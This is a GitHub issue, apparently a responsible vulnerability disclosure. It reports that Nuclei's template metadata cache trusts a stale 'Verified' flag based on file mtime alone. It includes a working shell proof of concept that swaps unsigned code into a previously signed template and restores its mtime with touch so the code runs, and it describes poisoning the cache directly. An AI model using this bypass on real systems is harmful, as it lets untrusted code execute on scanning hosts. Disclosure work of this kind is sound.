Skip to content

[BUG] Nuclei template signature bypass: mtime-only metadata cache runs unsigned code templates #7663

Description

@geo-chen

Is there an existing issue for this?

  • I have searched the existing issues.

Current Behavior

reported via email on 21 June 2026:

Nuclei requires code protocol templates to be signed and verified before the engine runs their OS commands. This signature gate can be bypassed through the persistent template metadata cache (index.gob).

Root cause: when a parsed template has a matching entry in the metadata cache, applyTemplateVerification (pkg/templates/compile.go) trusts the cached Verified boolean and returns early WITHOUT performing the ECDSA signature check. The cache (pkg/catalog/index) validates an entry only by comparing the file's modification time (Metadata.IsValid -> ModTime.Equal). There is no content hash. The struct stores no checksum even though nearby comments reference one. Because mtime is attacker-controllable and does not authenticate content, a cached "verified" verdict can be made to apply to different, unsigned bytes.

Two validated paths to execute an unsigned code template (no valid ProjectDiscovery signature, no # digest: line):

  1. Content swap on a previously verified template. Run a legitimately signed code template once so the cache records it as Verified. Replace the file contents with malicious unsigned code, restore the original mtime with touch -d. The next run trusts the stale cached Verified flag and executes the malicious code without re-checking the signature.

  2. Direct cache poison. Write ~/.cache/nuclei/index.gob (honoring XDG_CACHE_HOME) with one entry marking an unsigned code template path as Verified=true with ProtocolType code and a ModTime equal to that file's mtime. The template then loads as verified and executes.

Expected Behavior

Steps To Reproduce

PoC

Validated against the real built nuclei binary (commit 85abc4f, reports v3.10.0). The cache directory is isolated here with XDG_CACHE_HOME so the demonstration does not touch the real ~/.cache/nuclei.

Variant B (realistic content-swap, no cache-file write required):

# isolate the cache for the demo
export XDG_CACHE_HOME=/tmp/npoc-cache
mkdir -p "$XDG_CACHE_HOME/nuclei"

# 1) a legitimately signed code template (signed with a trusted key)
mkdir -p /tmp/npoc && cd /tmp/npoc
cat > t.yaml <<'YAML'
id: swap-demo
info:
  name: swap demo
  author: tester
  severity: info
code:
  - engine:
      - sh
    source: |
      echo LEGIT_BENIGN
YAML
nuclei -sign -t t.yaml -duc          # sign with the configured signing key
SAVED_MTIME=$(stat -c %y t.yaml)

# 2) run once so the metadata cache records swap-demo as Verified=true
nuclei -t t.yaml -u localhost -code -duc -v   # prints: Executed code on local machine

# 3) attacker replaces the file contents with UNSIGNED malicious code,
#    then restores the original mtime so the cache still validates
cat > t.yaml <<'YAML'
id: swap-demo
info:
  name: swap demo
  author: tester
  severity: info
code:
  - engine:
      - sh
    source: |
      echo SWAPPED_MALICIOUS_EXECUTED; touch /tmp/npoc/PWNED
YAML
touch -d "$SAVED_MTIME" t.yaml         # preserve mtime -> IsValid() still passes
tail -2 t.yaml                          # note: NO '# digest:' line -> unsigned

# 4) run again: the stale cached Verified=true is trusted, signature is NOT re-checked
nuclei -t t.yaml -u localhost -code -duc -v
ls -l /tmp/npoc/PWNED                    # canary created -> unsigned code executed

Observed output of step 4 (real binary):

[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from CI
[VER] [swap-demo] Executed code on local machine localhost
[INF] Scan completed ...

and /tmp/npoc/PWNED exists, proving the swapped unsigned code template ran.

Variant A (direct cache poison) was also validated: writing an index.gob whose single entry sets Verified:true/ProtocolType:"code" for a freshly created unsigned code template (with ModTime equal to that file's mtime) makes nuclei print "Executing 1 signed templates from projectdiscovery/nuclei-templates" and execute the template's code block, again creating the canary file. No -code exemption, no signing, no # digest: line.

For comparison, the same unsigned template with NO poisoned cache is correctly rejected:

[WRN] Found 1 unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)
[WRN] Skipping 1 unsigned template[s]

This is a local/template-supply-chain integrity issue rather than remote unauthenticated RCE, but it defeats the control that is supposed to stop untrusted or tampered code templates from running commands on the host. Suggested fix: bind the cached Verified flag to a cryptographic hash of the exact verified bytes and re-verify (or invalidate) on any content mismatch, instead of relying on mtime.

Relevant log output

Environment

-

Anything else?

No response

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Type: BugInconsistencies or issues which will cause an issue or problem for users or implementors.

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions